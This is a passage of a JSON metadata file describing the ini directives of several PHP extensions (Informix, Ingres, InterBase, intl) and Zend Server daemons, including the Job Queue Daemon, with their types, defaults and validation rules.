        "longDescription": "",
        "iniFileName": "informix.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "ifx.default_host": {
                "shortDescription": "Informix default host",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.default_user": {
                "shortDescription": "default user",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.default_password": {
                "shortDescription": "default password",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.allow_persistent": {
                "shortDescription": "Allow persistent Informix connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.max_persistent": {
                "shortDescription": "Maximum number of persistent Informix connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.max_links": {
                "shortDescription": "Maximum number of all Informix connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.textasvarchar": {
                "shortDescription": "Informix TEXT column data handling",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.byteasvarchar": {
                "shortDescription": "Informix BYTE column data handling",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.charasvarchar": {
                "shortDescription": "Informix CHAR column data handling",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.blobinfile": {
                "shortDescription": "Informix BLOB column data handling",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ifx.nullformat": {
                "shortDescription": "Informix NULL column data handling",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ingres": {
        "name": "ingres",
        "extensionId": "ingres",
        "isDaemon": 0,
        "shortDescription": "Ingres driver for PHP",
        "longDescription": "The Ingres driver for PHP enables you to connect to and query the Ingres DBMS, EDBC, and Enterprise Access Gateways.",
        "iniFileName": "ingres.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "ingres.allow_persistent": {
                "shortDescription": "Specifies whether to allow persistent connections to Ingres",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.array_index_start": {
                "shortDescription": "Specifies the start value for an integer key for arrays",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.auto": {
                "shortDescription": "Enables or disables autocommit emulation",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.blob_segment_length": {
                "shortDescription": "Specifies the amount of memory to use when reading BLOB data, ",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.cursor_mode": {
                "shortDescription": "Specifies the default mode for cursors",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.default_database": {
                "shortDescription": "Specifies the default database name to use",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.default_password": {
                "shortDescription": "Specifies the default password to use",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.default_user": {
                "shortDescription": "Specifies the default user name to use",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.describe": {
                "shortDescription": "Enables the use of DESCRIBE INPUT",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.fetch_buffer_size": {
                "shortDescription": "Specifies the number of pre-fetch rows that ingres functions will try and fetch in one fetch operation.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.max_links": {
                "shortDescription": "Specifies the maximum number of Ingres sessions allowed per process or thread",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.max_persistent": {
                "shortDescription": "Specifies the maximum number of persistent Ingres sessions allowed per process or thread",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.reuse_connection": {
                "shortDescription": "Reuses an existing active connection if connecting to the same database with the same user name",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.scrollable": {
                "shortDescription": "Enables support for scrollable cursors",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.trace": {
                "shortDescription": "Enables simple tracing using E_NOTICE messages ",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.trace_connect": {
                "shortDescription": "Prints E_NOTICE messages during ingres_connect() or ingres_pconnect() calls ",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ingres.utf8": {
                "shortDescription": "Assumes that strings being passed to National Character column types are using UTF8 encoding and converts them to UTF16",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "interbase": {
        "name": "interbase",
        "extensionId": "interbase",
        "isDaemon": 0,
        "shortDescription": "InterBase",
        "longDescription": "",
        "iniFileName": "interbase.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "ibase.allow_persistent": {
                "shortDescription": "Whether to allow persistent connections to Firebird\/InterBase",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.max_persistent": {
                "shortDescription": "The maximum number of persistent Firebird\/InterBase connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.max_links": {
                "shortDescription": "The maximum number of Firebird\/InterBase connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.default_db": {
                "shortDescription": "Default database to connect to when ibase_[p]connect() is called without db",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.default_user": {
                "shortDescription": "Username to use when connecting to a database if no user name is specified",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.default_password": {
                "shortDescription": "The password to use when connecting to a database if no password is specifi",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.default_charset": {
                "shortDescription": "The character set to use when connecting to a database if no character set",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.timestampformat": {
                "shortDescription": "Format for timestamp",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.dateformat": {
                "shortDescription": "Format for date",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibase.timeformat": {
                "shortDescription": "Format for time",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "intl": {
        "name": "intl",
        "extensionId": "intl",
        "isDaemon": 0,
        "shortDescription": "Internationalization",
        "longDescription": "A wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date\/time\/number\/currency formatting in their scripts.",
        "iniFileName": "intl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "intl.default_locale": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "intl.error_level": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "intl.use_exceptions": {
                "shortDescription": "If set to true, an exception will be raised whenever an error occurs in an intl function.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "jb": {
        "name": "jb",
        "isDaemon": 1,
        "shortDescription": "Zend Java Bridge Daemon",
        "longDescription": "Zend Java Bridge Daemon",
        "iniFileName": "jb.ini",
        "subPath": "",
        "directives": []
    },
    "jqd": {
        "name": "jqd",
        "isDaemon": 1,
        "shortDescription": "Zend Job Queue Daemon",
        "longDescription": "The Zend Job Queue Daemon is the daemon that executes jobs.",
        "iniFileName": "jqd.ini",
        "subPath": "",
        "directives": {
            "zend_jobqueue.execute_jobs": {
                "shortDescription": "Enable jobs executions",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.queue_name": {
                "shortDescription": "An optional queue name, which may be used to run several queues with the same database.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.binding": {
                "shortDescription": "An address of TCP or UNIX socket to listen for requests from clients and management GUI.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "tcp:\/\/127.0.0.1:10085",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "unix:\/\/jobqueue.sock"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.back_end_server": {
                "shortDescription": "An address of HTTP server to handle URL based jobs.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "http:\/\/127.0.0.1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.max_http_jobs": {
                "shortDescription": "The maximum number of HTTP based jobs which can be executed simultaneously by a single server. Or, in a clustered environment - by the entire cluster.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "12"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.history": {
                "shortDescription": "The maximum time (in days) a completed, failed or removed job is kept in database. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "7"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.history_failed": {
                "shortDescription": "The maximum time (in days) a failed job is kept in database. If it is not set - the 'history' value is used.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.client_keep_alive": {
                "shortDescription": "Number of seconds the daemon keeps inactive connection from client. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "3600"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.client_read_timeout": {
                "shortDescription": "Number of seconds the daemon tries to read request from client. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.client_write_timeout": {
                "shortDescription": "Number of seconds the daemon tries to deliver response to client. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.connection_timeout": {
                "shortDescription": "Number of seconds the daemon tries to establish a connection with a back-end server.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.job_restart_timeout": {
                "shortDescription": "The minimal number of milliseconds between job startups.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "200"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.http_job_retry_count": {
                "shortDescription": "Number of retries for failed HTTP jobs.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.http_job_retry_timeout": {
                "shortDescription": "The number of seconds between retries for failed HTTP jobs.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.high_concurrency_margin_allowed": {
                "shortDescription": "Report an event when the Job Queue Daemon reaches a margin between the number of running jobs and the maximum allowed.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.job_time_skew_allowed": {
                "shortDescription": "Report an event when a job exceeds its defined execution time.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "120"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 9999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.max_message_size": {
                "shortDescription": "The maximum message size the daemon can accept from the extension.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "63"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 63,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.daemon.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.store_job_output": {
                "shortDescription": "Whether to store job output in DB. If set to '0', no job output is stored.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.store_only_failed_jobs_output": {
                "shortDescription": "Store only outputs for failed jobs",
